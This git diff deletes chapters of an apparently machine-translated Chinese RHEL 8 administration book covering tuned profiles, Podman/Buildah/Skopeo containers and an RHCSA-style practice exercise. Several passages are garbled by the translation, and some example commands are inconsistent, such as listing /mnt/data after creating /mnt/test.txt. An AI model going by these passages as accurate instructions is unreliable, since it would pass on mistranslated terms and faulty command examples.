–governors`来检查可用的路径,其中`powersave`和`performance`是最常见的路径。 - -部分的名称为每个插件可能是任意`type`如果我们指定关键字来表示使用哪个插件,我们可以使用一些设备采取行动通过`devices`字,允许看不惯的定义几个磁盘部分基于磁盘配置不同的设置。 例如,我们可能需要对系统磁盘(假设为`sda`)和用于数据备份的磁盘`sdb`进行一些设置,如下所示: - -```sh -[main_disk] -type=disk -devices=sda -readahead=>4096 -[data_disk] -type=disk -devices=!sda -spindown=1 -``` - -在前面的示例中,名为`sda`的磁盘被配置了`readahead`(阅读行业领先于当前的利用率的数据缓存实际上被请求访问它)之前,我们告诉系统`spindown`数据磁盘,可能只在备份时使用, 从而在不使用时降低噪音和功耗。 - -另一个有趣的插件是`sysctl`,被一些配置文件使用,它在中定义设置,与我们使用`sysctl`命令的方式相同,正因为如此,可能性非常大: 定义**传输控制协议**(**TCP**)窗口大小,用于调优网络、虚拟内存管理、透明大页面等。 - -提示 - -很难与任何性能调优从头开始,随着`tuned`让我们从父母继承的设置,它可以找到一个可用的概要文件是最接近我们想要达到的,检查是什么配置,和 course-compare 它与其他国家(如我们所见, 也有其他插件的例子),并将其应用到我们的定制配置文件中。 - -为了了解定义的系统配置文件是如何接触系统的,我的 RHEL 8 系统显示了以下关于`cat /usr/lib/tuned/*/tuned.conf|grep -v ^#|grep '^\['|sort –u`的输出: - -![Figure 16.9 – Sections in system-supplied profiles ](img/B16799_16_009.jpg) - -图 16.9 -系统提供的配置文件中的部分 - -因此,我们可以看到,他们接触很多领域,我想突出`script`部分,它定义了一个 shell 脚本执行`powersave`所使用的概要文件,以及`variables`部分,使用`throughput-performance`为后来定义正则表达式匹配和基于 CPU 的应用设置。 - -准备好之后,我们将在`/etc/tuned/newprofile`创建一个新文件夹。 必须创建一个`tuned.conf`文件,其中包含包含摘要的主要部分以及我们想要使用的插件的其他部分。 - -当创建一个新的概要文件时,如果我们将感兴趣的概要文件从`/usr/lib/tuned/$profilename/`复制到我们的`/etc/tuned/newprofile/`文件夹中并从那里开始定制,可能会更容易一些。 - -一旦准备好了,我们就可以使用`tuned-adm profile newprofile`来启用配置文件,就像我们在本章前面介绍的那样。 - -您可以在官方文档[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html-single/monitoring_and_managing_system_status_and_performance/index](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html-single/monitoring_and_managing_system_status_and_performance/index)中找到关于可用配置文件的更多信息。 - -这样,我们就建立了自己的自定义配置文件,以便调优性能设置。 - -# 总结 - -在本章中,我们学习了如何识别进程、检查它们的资源消耗以及如何向它们发送信号。 - -关于这些信号,我们了解到其中一些信号有一些额外的行为,比如巧妙地或突然地终止进程,或者只是发送一个通知,一些程序将其理解为重新加载配置而不重新启动,等等。 - -此外,与进程相关,我们了解了如何在 CPU 和 I/O 方面调整它们相对于其他进程的优先级,以便我们可以调整长时间运行的进程或磁盘密集型进程,而不影响其他运行的服务。 - -最后,我们介绍了`tuned`守护进程,其中包括几个通用用例配置文件,我们可以直接使用在我们的系统中,允许`tuned`应用一些动态优化,或者我们可以微调的概要文件创建一个我们自己的增加系统性能或优化用电。 - -在下一章中,我们将学习如何使用容器、注册中心和其他组件,以便应用可以按照供应商提供的方式运行,同时与运行它们的服务器隔离开来。** \ No newline at end of file diff --git a/docs/rhel8-admin/17.md b/docs/rhel8-admin/17.md deleted file mode 100644 index 3da0a715..00000000 --- a/docs/rhel8-admin/17.md +++ /dev/null @@ -1,461 +0,0 @@ -# 十七、使用 Podman, Buildah 和 Skopeo 管理容器 - -在本章中,我们将学习使用**Podman**和**Red Hat Universal Base Image**,也称为**UBI**。 Podman 和 UBI 一起为用户提供他们在**Red Hat Enterprise Linux**(**RHEL**)上运行、构建和共享企业质量容器所需的软件。 - -近年来,理解和使用容器已经成为 Red Hat 系统管理员的一项关键需求。 在这一章中,我们将回顾容器的基础知识,容器如何工作,以及管理容器的标准任务。 - -您将学习如何使用简单的命令运行容器,构建企业质量的容器映像,并将它们部署到生产系统上。 您还将学习何时使用更高级的工具,如**Buildah**和**Skopeo**。 - -以下是本章将涉及的主题: - -* 介绍了容器 -* 使用 Podman 和 UBI 运行容器 -* 何时使用 Buildah 和 Skopeo - -# 技术要求 - -在本章中,我们将回顾 Podman、Buildah 和 Skopeo 的基本用法,以及如何使用 Red Hat UBI 构建和运行容器。 - -我们将在本地 RHEL8 系统上创建并运行容器,就像我们在[*第 1 章*](01.html#_idTextAnchor014)、*安装 RHEL8*中部署的那样。 您需要安装`container-tools:rhel8`**应用流**。 - -# 容器介绍 - -容器为用户提供了一种在 Linux 系统上运行软件的新方法。 容器以一致的可重新分发的方式提供了与给定软件相关的所有依赖项。 当容器首先由 Docker 变得流行时,谷歌、Red Hat 和其他许多人加入 Docker,创建了一套称为**open Container Initiative**(**OCI**)的开放标准。 OCI 标准的流行促进了一个大型工具生态系统,在这个生态系统中,用户不必担心流行容器映像、注册表和工具之间的兼容性问题。 货柜近年已标准化,大部分主要工具均符合本处所规管的三项标准,现简述如下: - -* **映像规范**:管理容器映像在磁盘上的保存方式 -* **运行时规范**:指定容器如何通过与操作系统(特别是 Linux 内核)通信来启动 -* **分发规范**:管理如何从注册表服务器推送和拉取映像 - -你可以在 https://opencontainers.org/上了解更多。 - -所有容器工具(Docker、Podman、Kubernetes 等)都需要一个操作系统来运行容器,每个操作系统都可以选择不同的技术集来保护容器,只要它们符合 OCI 标准。 RHEL 使用以下操作系统功能安全地存储和运行容器: - -* **命名空间**:这些是 Linux 内核中的一种技术,可以帮助隔离进程。 命名空间阻止了容器化进程在主机操作系统(包括其他容器)上对其他进程的可见性。 名称空间使容器看起来像一个**虚拟机**(**VM**)。 -* **对照组(并且)**:这些限制的**中央处理单元(CPU**),内存,磁盘输入/输出【显示】(**I / O),和/或网络 I / O 可以给定流程/容器。 这可以防止*吵闹的邻居*问题。****** -***** **安全增强型 Linux (SELinux)**:[*所述第十章*](10.html#_idTextAnchor143),*让你的系统与 SELinux*硬化,这提供了一个额外的操作系统层的安全,可以限制造成的损害安全利用。 当与容器一起使用时,SELinux 几乎是透明的,并提供了安全漏洞缓解,即使在 Podman、Docker 或 Runc 等工具中存在漏洞时也是如此。**** - - ****许多系统管理员使用 vm 来隔离应用及其依赖项(库等)。 容器提供了相同级别的隔离,但减少了虚拟化的开销。 由于容器是简单的进程,它们不需要一个**虚拟 CPU**(**vCPU**)以及所有转换开销。 容器比虚拟机小,简化了管理和自动化。 这对于**持续集成/持续交付**(**CI/CD**)尤其有用。 - -RHEL 为用户提供了兼容所有 OCI 标准的容器工具和图像。 这意味着它们的工作方式对任何使用过 Docker 的人来说都非常熟悉。 对于那些不熟悉这些工具和图像的人来说,以下概念很重要: - -* **层**:容器图像被构建为一组层。 新容器是通过添加新层(甚至删除东西)来创建的,这些新层可以重用现有的较低的层。 使用现有预包装容器的能力,对于那些只想对其应用进行更改并以可重复的方式测试它们的开发人员来说,是非常方便的。 -* **分发和部署**:由于容器提供了与应用耦合的所有依赖项,因此它们很容易部署和重新分发。 将它们与容器注册表相结合,可以更容易地共享容器映像,协作、部署和回滚也更快捷、更容易。 - -RHEL 提供的容器工具可以方便地小规模部署容器,甚至用于生产工作负载。 但是,要大规模地管理容器并保证其可靠性,像 Kubernetes 这样的容器编排是一个更好的选择。 红帽公司根据从构建 Linux 发行版中获得的经验,创建了一个名为**OpenShift**的 Kubernetes 发行版。 如果您需要大规模部署容器,我们建议您看看这个平台。 本章介绍的 RHEL 中提供的容器工具和图像将为以后部署到 Kubernetes/OpenShift 提供坚实的基础(如果你准备好了的话)。 本章中介绍的工具的构建方式可以帮助您准备好在 Kubernetes 中部署应用。 - -## 安装集装箱工具 - -RHEL 8 提供的**容器工具**有两个应用流。 第一个是每 12 周更新一次的快速移动流。 第二个是稳定的流,一年发布一次,支持 24 个月。 - -在我们安装容器工具之前,让我们看看哪些是可用的,如下所示: - -```sh -[root@rhel8 ~]# yum module list | grep container-tools -container-tools rhel8 [d][e] common [d] Most recent (rolling) versions of podman, buildah, skopeo, runc, conmon, runc, conmon, CRIU, Udica, etc as well as dependencies such as container-selinux built and tested together, and updated as frequently as every 12 weeks. -container-tools 1.0 common [d] Stable versions of podman 1.0, buildah 1.5, skopeo 0.1, runc, conmon, CRIU, Udica, etc as well as dependencies such as container-selinux built and tested together, and supported for 24 months. -container-tools 2.0 common [d] Stable versions of podman 1.6, buildah 1.11, skopeo 0.1, runc, conmon, etc as well as dependencies such as container-selinux built and tested together, and supported as documented on the Application Stream lifecycle page. -container-tools 3.0 common [d] Stable versions of podman 3.0, buildah 1.19, skopeo 1.2, runc, conmon, etc as well as dependencies such as container-selinux built and tested -together, and supported as documented on the Application Stream lifecycle page. -``` - -让我们来看看我们列出的主要工具,如下: - -* `podman`:这是用于运行容器的命令。 在您将在互联网上发现的示例中发现使用`docker`命令的任何情况下,您都可以使用它。 在本章中,我们将使用它来运行我们自己的容器。 -* `buildah`:这是一个专门用于创建容器映像的工具。 它使用与 Docker 相同的 Dockerfile 定义,但不需要守护进程。 -* `skopeo`:一个用于内省容器并检查不同层的工具,以便我们检查它们是否包含任何不符合要求的问题。 - -我们将安装快速移动的流,以获得最新版本的 Podman, Skopeo 和 Buildah,如下: - -```sh -[root@rhel8 ~]# yum module install container-tools:rhel8 -... [output omitted] ... -``` - -现在,您已经有了一台安装了在 RHEL 8 系统上构建、运行和管理容器所需的所有工具的机器。 - -# 使用 Podman 和 UBI 运行容器 - -现在您已经安装了容器工具的 Application Stream,让我们在 Red Hat UBI 上运行一个基于的简单容器,它是一组官方容器映像和基于 RHEL 的额外软件。 要运行一个 UBI 图像,它只需要一个命令,如下面的代码片段所示: - -```sh -[root@rhel8 ~]# podman run –it registry.access.redhat.com/ubi8/ubi bash -[root@407ca121cbbb /]# -``` - -提示 - -这些教程以 root 用户的身份运行命令,但是 Podman 的好处之一是,它可以以普通用户的身份运行容器,而无需特殊权限或系统中正在运行的守护进程。 - -现在您有了一个完全隔离的环境来执行您想要的任何。 您可以在这个容器中运行您想要的任何命令。 它与主机和其他可能正在运行的容器隔离,您甚至可以在其上安装软件。 - -请注意 - -Red Hat UBI 基于 RHEL 的软件和软件包。 这是与 RHEL 一起使用的官方图像,并为您的容器提供了一个坚实的、企业级的基础。 本章将使用 UBI。 - -运行这样的一次性容器对于测试新的配置更改和新的软件,而不直接干扰主机上的软件非常有用。 - -让我们来看看容器中运行的进程,如下所示: - -```sh -[root@ef3e08e4eac2 /]# ps -efa -UID PID PPID C STIME TTY TIME CMD -root 1 0 0 13:50 pts/0 00:00:00 bash -root 12 1 0 13:52 pts/0 00:00:00 ps -efa -``` - -正如您所看到的,惟一正在运行的进程是我们正在使用的 shell 和刚刚运行的命令。 这是一个完全孤立的环境。 - -现在,通过运行以下命令退出容器: - -```sh -[root@407ca121cbbb /]# exit -[root@rhel8 ~]# -``` - -现在我们有了一个容器工具的工作集和一个本地缓存的 UBI 容器映像,我们将继续学习一些更基本的命令。 - -## 基本的容器管理——拉、跑、停、移 - -在本节中,我们将运行一些基本命令来熟悉容器的使用。 首先,我们再抓取一些图片,如下图: - -```sh -[root@rhel8 ~]# podman pull registry.access.redhat.com/ubi8/ubi-minimal -... -[root@rhel8 ~]# podman pull registry.access.redhat.com/ubi8/ubi-micro -... -[root@rhel8 ~]# podman pull registry.access.redhat.com/ubi8/ubi-init -... -``` - -我们现在有几个不同的图像缓存在本地。 让我们来看看这些: - -```sh -[root@rhel8 ~]# podman images -REPOSITORY TAG IMAGE ID CREATED SIZE -registry.access.redhat.com/ubi8/ubi latest 613e5da7a934 2 weeks ago 213 MB -registry.access.redhat.com/ubi8/ubi-minimal latest 332744c1854d 2 weeks ago 105 MB -registry.access.redhat.com/ubi8/ubi-micro latest 75d0ed7e8b6b 5 weeks ago 38.9 MB -registry.access.redhat.com/ubi8/ubi-init latest e13482c4e694 2 weeks ago 233 MB -``` - -注意,我们在本地缓存了四个图像。 Red Hat UBI 实际上有多种风格,如下所述: - -* **无论何时标准**(`ubi8/ubi`):一个 RHEL-based 容器的基本形象和**YellowDog 更新修改****百胜【显示】/**打扮时髦百胜**(**【病人】DNF)的形象。 可以以类似于任何其他 Linux 基本映像的方式使用它。 该映像针对 80%的人用例,可以很容易地从 Dockerfile 或 Containerfile 中使用。 这张图片的折衷之处在于它比其他一些图片要大。**** -* **UBI 最小**(`ubi8/ubi-minimal`):这个基本映像通过使用一个名为`microdnf`的小包管理器来最小化大小,该包管理器是用 C 而不是 Python 编写的,就像标准 YUM/DNF 一样。 这个 C 实现使它更小,并且将更少的依赖拉入容器映像中。 这个基本映像可以在任何 Dockerfile 或 Containerfile 中使用`microdnf`命令而不是`yum`。 该图像在内存中保存了大约 80**MB**(**MB**)。 -* **UBI Micro**(`ubi8/ubi-micro`):这个基本映像不需要包管理器。 它不能与标准 Dockerfile 或 Containerfile 一起使用。 相反,用户使用容器主机上的 build dah 工具将软件添加到该映像中。 该图像是 RHEL 提供的最小的基础图像。 -* **UBI Init**(`ubi8/ubi-init`):基于 RHEL 标准映像,该映像还支持容器中`systemd`的使用。 这使得安装一些软件,用`systemd`启动它们,并以类似于 VM 的方式对待容器变得很容易。 这张图片最适合那些不介意稍微大一点的图片,只想方便使用的用户。 - -现在您已经了解了四种基本映像类型的基础知识,让我们在后台启动一个容器,以便在它运行时检查它。 在后台用下面的命令启动它: - -```sh -[root@rhel8 ~]# podman run -itd --name background ubi8 bash -262fa3beb8348333d77381095983233bf11b6584ec1f 22090604083c0d94bc50 -``` - -注意,当我们启动容器时,shell 返回正常状态,我们不能在容器中键入命令。 我们的终端不进入集装箱的外壳。 选项指定容器应该在后台运行。 这是大多数基于服务器的软件(如 web 服务器)在 Linux 系统上运行的方式。 - -如果我们需要对一个容器进行故障排除,我们仍然可以将我们的 shell 连接到一个在后台运行的容器,但是我们必须确定要连接到哪个容器。 要做到这一点,请列出所有使用以下命令运行的容器: - -```sh -[root@rhel8 ~]# podman ps -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -262fa3beb834 registry.access.redhat.com/ubi8:latest bash About a minute ago Up About a minute ago background -``` - -我们可以使用 container ID 值来引用容器,但是为了更容易引用,我们将容器的名称设置为 background。 我们可以通过 exec 子命令进入容器,看看里面发生了什么,如下所示: - -```sh -[root@rhel8 ~]# podman exec –it background bash -[root@262fa3beb834 /]# -``` - -输入一些命令后,运行如下命令退出容器: - -```sh -[root@262fa3beb834 /]# exit -``` - -现在,让我们通过运行以下命令来停止集装箱化进程: - -```sh -[root@262fa3beb834 /]# podman stop background 262fa3beb8348333d77381095983233bf11b6584ec1f 22090604083c0d94bc50 -``` - -运行以下命令来检查它是否真的停止了: - -```sh -[root@rhel8 ~]# podman ps -a -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -262fa3beb834 registry.access.redhat.com/ubi8:latest bash 7 minutes ago Exited (0) About a minute ago background -``` - -注意状态是`Exited`。 这意味着进程已经停止,并且不再位于内存中,但是磁盘上的存储仍然可用。 容器可以重新启动,也可以使用下面的命令永久删除它: - -```sh -[root@rhel8 ~]# podman rm background -262fa3beb8348333d77381095983233bf11b6584ec1f 22090604083c0d94bc50 -``` - -这删除了存储,容器现在已经永远消失了。 通过运行以下命令来验证这一点: - -```sh -[root@rhel8 ~]# podman ps -a -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -``` - -本节将介绍一些基本命令,但是现在让我们来讨论附加存储。 - -## 将持久存储器附加到容器上 - -记住容器中的存储是短暂的。 执行`podman rm`命令后,存储将被删除。 如果在移除容器后需要保存数据,则需要使用卷。 要运行带卷的容器,请执行以下命令: - -```sh -[root@rhel8 ~]# podman run –it --rm -v /mnt:/mnt:Z --name data ubi8 bash -[root@12ad2c1fcdc2 /]# -``` - -前面的命令已经将`/mnt`挂载到容器中,而`Z`选项告诉它适当地更改 SELinux 标签,以便可以将数据写到容器中。 `--rm`选项确保在您退出 shell 时立即删除容器。 现在可以在这个卷上保存数据,并且在退出容器时不会删除它。 运行如下命令添加数据: - -```sh -[root@12ad2c1fcdc2 /]# touch /mnt/test.txt -[root@12ad2c1fcdc2 /]# exit -exit -[root@rhel8 ~]# -``` - -现在,通过运行以下命令来检查您创建的测试文件: - -```sh -[root@rhel8 ~]# ls /mnt/data -test.txt -``` - -请注意,尽管已删除了容器,但文件仍然在系统上,并且其内部存储已被删除。 - -## 使用 systemd 在生产系统上部署一个容器 - -由于 Podman 不是一个守护进程,所以它在系统引导时依赖于`systemd`来启动容器。 Podman 通过为您创建`systemd`**单元文件**,使得使用`systemd`启动容器变得很容易。 使用`systemd`运行容器的过程如下: - -1. 使用 Podman 以您希望它在生产环境中运行的方式运行容器。 -2. 导出`systemd`单元文件。 -3. 配置`systemd`以使用此单元文件。 - -首先,让我们运行一个示例容器,如下所示: - -```sh -[root@rhel8 ~]# podman run -itd --name systemd-test ubi8 bash -D8a96d6a51a143853aa17b7dd4a827efa2755820c9967bee52 fccfeab2148e98 -``` - -现在,让我们导出用于启动该容器的`systemd`单元文件,如下所示: - -```sh -[root@rhel8 ~]# podman generate systemd --name --new systemd-test > /usr/lib/systemd/system/podman-test.service -``` - -启用并启动该服务。 - -```sh -systemctl enable --now podman-test -Created symlink /etc/systemd/system/multi-user.target.wants/podman-test.service → /usr/lib/systemd/system/podman-test.service. -Created symlink /etc/systemd/system/default.target.wants/podman-test.service → /usr/lib/systemd/system/podman-test.service -``` - -通过执行以下命令来测试容器是否正在运行: - -```sh -[root@rhel8 ~]# systemctl status podman-test -● podman-test.service - Podman container-systemd-test.service -Loaded: loaded (/usr/lib/systemd/system/podman-test.service; enabled; vendor preset: disabled) -Active: active (running) since Thu 2021-04-29 20:29:30 EDT; 13min ago -[output omitted] -... -``` - -现在,使用`podman`命令检查容器是否正在运行,如下所示: - -```sh -[root@rhel8 ~]# podman ps -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -7cb55cc98e81 registry.access.redhat.com/ubi8:latest bash About a minute ago Up About a minute ago systemd-test -``` - -这个容器现在将在每次系统引导时启动; 即使您使用 Podman 杀死容器,`systemd`也将始终确保该容器正在运行。 Podman 和`systemd`使得在生产中运行容器变得容易。 现在,让我们用`systemctl`停止容器并禁用它,如下所示: - -```sh -systemctl stop podman-test -systemctl disable podman-test -``` - -## 使用 Dockerfile 或 Containerfile 构建容器映像 - -现在我们知道了如何运行容器,让我们学习如何构建自己的容器映像。 容器映像通常是用一个文件来构建的,该文件作为如何每次以相同方式构建它的蓝图。 **Dockerfile**或**Containerfile**具有构建容器映像所需的所有信息。 它可以很容易地编写如何构建容器的脚本。 一个容器文件就像一个 Dockerfile,但是它的名字试图使它更加不受 T10 的约束,并且不依赖于 Docker 工具。 这两种类型的文件都可以与 RHEL 附带的容器工具一起使用。 首先,创建一个名为`Containerfile`的文件,其中包含以下内容: - -```sh -FROM registry.access.redhat.com/ubi8/ubi -RUN yum update -y -``` - -这个简单的容器文件提取 UBI 标准基本图像并将所有最新更新应用到它。 现在,让我们运行下面的命令来构建一个容器映像: - -```sh -[root@rhel8 ~]# podman build –t test-build ./Containerfile -STEP 1: FROM registry.access.redhat.com/ubi8/ubi -STEP 2: RUN yum update –y -... [output omitted] ... -``` - -现在有了一个名为`test-build`的新映像,有一个包含所有来自 Red Hat UBI 存储库的更新包的新层,如下面的代码片段所示: - -```sh -[root@rhel8 ~]# podman images -REPOSITORY TAG IMAGE ID CREATED SIZE -localhost/test-build latest 6550a939d3ef 9 minutes ago 335 MB -... [output omitted] ... -``` - -从 Dockerfile 或 Containerfile 构建映像的工作流与在 RHEL 7 或任何其他操作系统中的 Docker 几乎相同。 这使得系统管理员和开发人员很容易迁移到 Podman。 - -## 配置 Podman 搜索注册表服务器 - -容器注册表类似于容器映像的文件服务器。 它们允许用户构建和共享容器映像,从而实现更好的协作。 通常,从位于 internet 上的公共注册服务器中提取容器映像是很有用的,但在许多情况下,公司有非公共的私有注册服务器。 Podman 可以方便地搜索公司网络上的多个注册表,包括私有注册表。 - -Podman 附带一个配置文件,允许用户和管理员选择默认搜索哪些注册表。 这使得用户可以很容易地找到管理员希望他们找到的容器映像。 - -要搜索的一组默认注册表在`/etc/containers/registries.conf`中定义。 让我们通过过滤其中的所有注释来快速浏览该文件,如下所示: - -```sh -[root@rhel8 ~]# cat /etc/containers/registries.conf | grep -v ^# -[registries.search] -registries = ['registry.access.redhat.com', 'registry.redhat.io', 'docker.io'] -[registries.insecure] -registries = [] - -[registries.block] -registries = [] - -unqualified-search-registries = ["registry.fedoraproject.org", "registry.access.redhat.com", "registry.centos.org", "docker.io"] -``` - -如您所见,我们有安全注册表的`registries.search`部分,其中包括两个主要的 Red Hat 注册表`registry.access.redhat.com`和`registry.redhat.io`,以及`docker.io`Docker 注册表。 所有这些注册表都是通过**传输层安全**(**TLS**)证书进行保护的,但是 Podman 也可以使用`registries.insecure`部分配置为在不加密的情况下获取图像。 - -与 TLS 分开,Red Hat 提供的所有映像都是签名的,并提供一个可用于验证它们的签名存储。 这不是默认配置,超出了本章的范围。 - -要验证 Podman 正在使用和搜索正确的注册表,运行以下命令: - -```sh -[root@rhel8 ~]# podman info | grep registries -A 4 -registries: - search: - - registry.access.redhat.com - - registry.redhat.io - - docker.io -``` - -提示 - -如果您想发布自己的图像,您可以在 Red Hat 提供的服务中这样做:[https://quay.io](https://quay.io)。 您还可以配置`registries.conf`来搜索`quay.io`来存储映像。 - -## Podman 选项总结 - -在本章中,让我们回顾一下 Podman 使用的选项,如下所示: - -![](img/Table_1.1.jpg) - -正如您在查看该表时所看到的,Podman 包括管理整个容器生命周期的选项。 大多数 Podman 命令与`docker`兼容。 Podman 甚至提供了一个包(`podman-docker`),它提供了从`podman`到`docker`的别名,以便用户可以继续输入他们熟悉的命令。 虽然 Podman 和 Docker 感觉非常类似于使用,但 Podman 可以作为普通用户运行,不需要持续运行守护进程。 让我们继续到下一节,探索一些高级用例。 - -# 何时使用 Buildah 和 Skopeo - -Podman 是一种通用容器工具,应该解决用户 95%的需求。 Podman 利用 Buildah 和 Skopeo 作为库,并将这些工具放在一个接口下。 也就是说,在某些情况下,用户可能希望分别使用 Buildah 或 Skopeo。 我们将探讨两个这样的用例。 - -## 使用 Buildah 构建容器图像 - -从 Dockerfile 或 Containerfile 构建非常简单,但它确实需要一些权衡。 例如,Buildah 在以下情况下很好: - -* 当您需要对提交图像层进行粒度控制时。 当您想要运行两个或三个命令,然后提交单个层时,这可能是必要的。 -* 例如,当您遇到难以安装的软件时,一些第三方软件附带的标准化安装程序并不理解它们是在 Dockerfile 中运行的。 这些`install.sh`安装程序中的许多都假定它们能够访问整个文件系统。 -* 当容器映像不提供包管理器时。 UBI Micro 构建非常小的映像,因为它没有安装 Linux 包管理器,也没有安装任何包管理器的依赖项。 - -对于本例,让我们基于 UBI Micro 进行构建,以演示为什么 Buildah 是一个如此伟大的工具。 首先,创建一个新的容器,如下所示: - -```sh -[root@rhel8 ~]# buildah from registry.access.redhat.com/ubi8/ubi-micro -ubi-micro-working-container -``` - -前面的命令创建了一个对名为`ubi-micro-working-container`的新容器的引用。 一旦 Buildah 创建了这个引用,您就可以基于它进行构建。 为了更简单,让我们重新开始并将引用保存在 shell 变量中,如下所示: - -```sh -microcontainer=$(buildah from registry.access.redhat.com/ubi8/ubi-micro) -``` - -然后可以将新容器作为卷挂载。 这允许您通过更改目录中的文件来修改容器映像。 执行以下命令: - -```sh -micromount=$(buildah mount $microcontainer) -``` - -一旦容器存储被安装,您可以以任何您想要的方式修改它。 这些更改最终将被保存为容器图像中的一个新层。 这是你可以运行安装程序(`install.sh`)的地方,但在下面的例子中,我们将使用主机上的包管理器来安装 UBI Micro 中的包: - -```sh -yum install \ - --installroot $micromount \ --releasever 8 \ --setopt install_weak_deps=false \ --nodocs -y \ httpd -... [output omitted] ... -[root@rhel8 ~]# yum clean all \ - --installroot $micromount -... [output omitted] ... -``` - -当包安装完成后,我们将卸载存储,并将新的映像层作为一个名为`ubi-micro-httpd`的新的容器映像提交,如下代码片段所示: - -```sh -[root@rhel8 ~]# buildah umount $microcontainer -467403b1633fbcb42535e818929fd49a5e381b86733c99d 65cd8b141e9d64fff -[root@rhel8 ~]# buildah commit $microcontainer ubi-micro-httpd -Getting image source signatures -Copying blob 5f70bf18a086 skipped: already exists -Copying blob 8e7500796dee skipped: already exists -Copying blob 881a7504d0b5 skipped: already exists -Copying blob 771043083e15 done -Copying config 9579d04234 done -Writing manifest to image destination -Storing signatures -9579d0423482e766d72e3909f34e8c10d4258128d5cae394 c1f0816ac637eda0 -``` - -现在,您已经安装了一个新的容器映像`httpd`,它构建在 UBI Micro 上。 只有最小的一组依赖项被拉入。 看看这里的图像有多小: - -```sh -[root@rhel8 ~]# podman images -localhost/ubi-micro-httpd latest 9579d0423482 About a minute ago 152 MB -``` - -Buildah 是一个很棒的工具,它为您提供了对构建如何完成的大量控制。 现在,我们将转向 Skopeo。 - -## 使用 Skopeo 检查远程容器 - -Skopeo 是专门为远程容器存储库而设计和构建的。 使用下面的命令,您可以轻松地远程检查图像的可用标记: - -```sh -[root@rhel8 ~]# skopeo inspect docker://registry.access.redhat.com/ubi8/ubi -{ - "Name": "registry.access.redhat.com/ubi8/ubi", - "Digest": "sha256:37e09c34bcf8dd28d2eb7ace19d3cf634f8a073058ed63ec6e 199e3e2ad33c33", - "RepoTags": [ - "8.2-343-source", - "8.1-328", - "8.2-265-source", -... [output omitted] ... -``` - -远程检查对于确定是否要提取图像,以及使用哪个标签是很有用的。 Skopeo 还可以用于在两个远程注册服务器之间进行复制,而不需要在本地存储中缓存副本。 有关更多信息,请参阅`skopeo`手册页。 - -# 总结 - -在本章中,我们回顾了如何在 RHEL 8 上运行、构建和共享容器的基础知识。 您可以创建自己的容器、运行它们、管理它们,甚至使用`systemd`来确保它们始终在生产环境中运行。 - -现在,您已经准备好利用容器提供的功能和易于部署。 虽然深入研究将软件迁移到容器的所有复杂之处超出了本书的范围,但是容器简化了打包和交付应用的过程,这些应用可以使用它们的所有依赖项来执行。 - -容器现在是**信息技术**(**IT**)行业的一个重点。 容器本身简化了应用的打包和交付,但是像 OpenShift(基于 Kubernetes)这样的编排平台更容易大规模地部署、升级和管理容器化的应用。 - -恭喜你,你已经读完了这一章! 现在是时候进入下一个篇章,进行自我评估,以确保你已经吸收了材料并练习了技能。 还有两章要讲。**** \ No newline at end of file diff --git a/docs/rhel8-admin/18.md b/docs/rhel8-admin/18.md deleted file mode 100644 index 8f52addf..00000000 --- a/docs/rhel8-admin/18.md +++ /dev/null @@ -1,740 +0,0 @@ -# 十八、实战练习 1 - -在这个实践练习中,我们将运行一组步骤来检查您在本书中获得的知识。 与前面的章节相反,并不是所有的步骤都将被指出,因此它是留给您的自由裁量权来执行所需的步骤来实现您的预期目标。 建议避免引用过去的章节作为指导。 相反,尝试使用您的内存或系统中可用的工具。 这个练习,如果执行正确,将有效地训练你为正式考试。 - -强烈建议在开始这项练习时先用一个时钟来记录时间。 - -# **技术要求** - -**本章的所有练习都需要使用虚拟机**(**VM**),运行 Red Hat Enterprise Linux 8 并安装基本安装。 此外,存储操作还需要新的虚拟驱动器。 - -在练习中,假设你具备以下条件: - -* Red Hat Enterprise Linux 8 安装基础操作系统**最小安装**软件选择。 -* 访问 Red Hat 客户门户网站,并激活订阅。 -* 虚拟机必须是一次性的。 这是因为在操作期间对其执行的操作可能使其无法使用,并需要重新安装它。 - -# 运动小贴士 - -这是一份针对任何测试的一般性建议清单,其中大多数都属于常识范畴,但在进行任何此类测试之前,我们必须牢记这些建议: - -* 在正式考试或其他考试开始前阅读所有的问题。 -* 特定的词有特定的含义,可以提示需求或实现目标的方法。 这就是为什么先阅读所有内容可以让你从多个角度了解如何完成测试。 -* 让自己舒适。 安装您最喜欢的编辑器并运行`updatedb`,以获得一个包含软件包和已安装文件的新数据库,以便随时使用。 定义键盘布局。 安装`tmux`并学习如何使用它,这样您就可以打开新的标签页并命名它们,而不需要额外的窗口。 -* 定位请求之间的依赖关系,因为一些目标需要依赖其他目标才能完成。 找到这些依赖项,以便了解如何定位解决方案,而不必因为选择了错误的路径而返回并重做一些步骤。 -* 使用一个计时器。 这对你了解哪些练习需要更多时间来完成很重要,这样你就能看到哪些地方需要改进。 -* 不要记住特定的命令行。 了解如何通过`man`、`/usr/share/docs`或`--help`等参数使用系统中可用的文档来执行所需的命令。 -* 确保更改持续存在,并且在重新引导后仍然处于活动状态。 有些更改在运行时可能是活动的,但必须持久化这些更改。 示例可能包括防火墙规则、启动时启动的服务等等。 -* 记住使用`dnf whatprovides /COMMAND"`来查找提供可能丢失的文件的包。 -* 检查以下链接:[https://www.redhat.com/en/services/training/ex200-red-hat-certified-system-administrator-rhcsa-exam?=Objectives](https://www.redhat.com/en/services/training/ex200-red-hat-certified-system-administrator-rhcsa-exam?=Objectives)。 这将为您提供正式的 EX200 考试目标。 - -# 练习 1 - -重要提示 - -按照设计,创建了下面的练习,以便命令、包等不会有突出显示。 记住到目前为止学习的内容,以便检测关键字,了解需要做什么。 - -不要过早地开始演练。 试着回忆一下都讲了些什么。 - -## 练习 - -1. 配置时区为 GMT。 -2. 允许 root 用户通过 SSH 无密码登录。 -3. 创建一个用户(命名为*user*),该用户可以连接到机器而无需密码。 -4. 用户`user`应每周更换密码,并提前 2 天通知,密码过期后可提前 1 天使用。 -5. 根用户必须能够在没有密码的情况下作为*用户*进行 SSH,这样任何人都不能使用密码作为根用户进行远程连接。 -6. 用户*用户*应该能够在没有密码的情况下成为 root 用户,并且也可以在没有密码的情况下执行命令。 -7. 当用户试图通过 SSH 登录时,显示一条不允许非法访问此系统的合法消息。 -8. SSH 必须监听端口*22222*,而不是默认端口*22*。 -9. 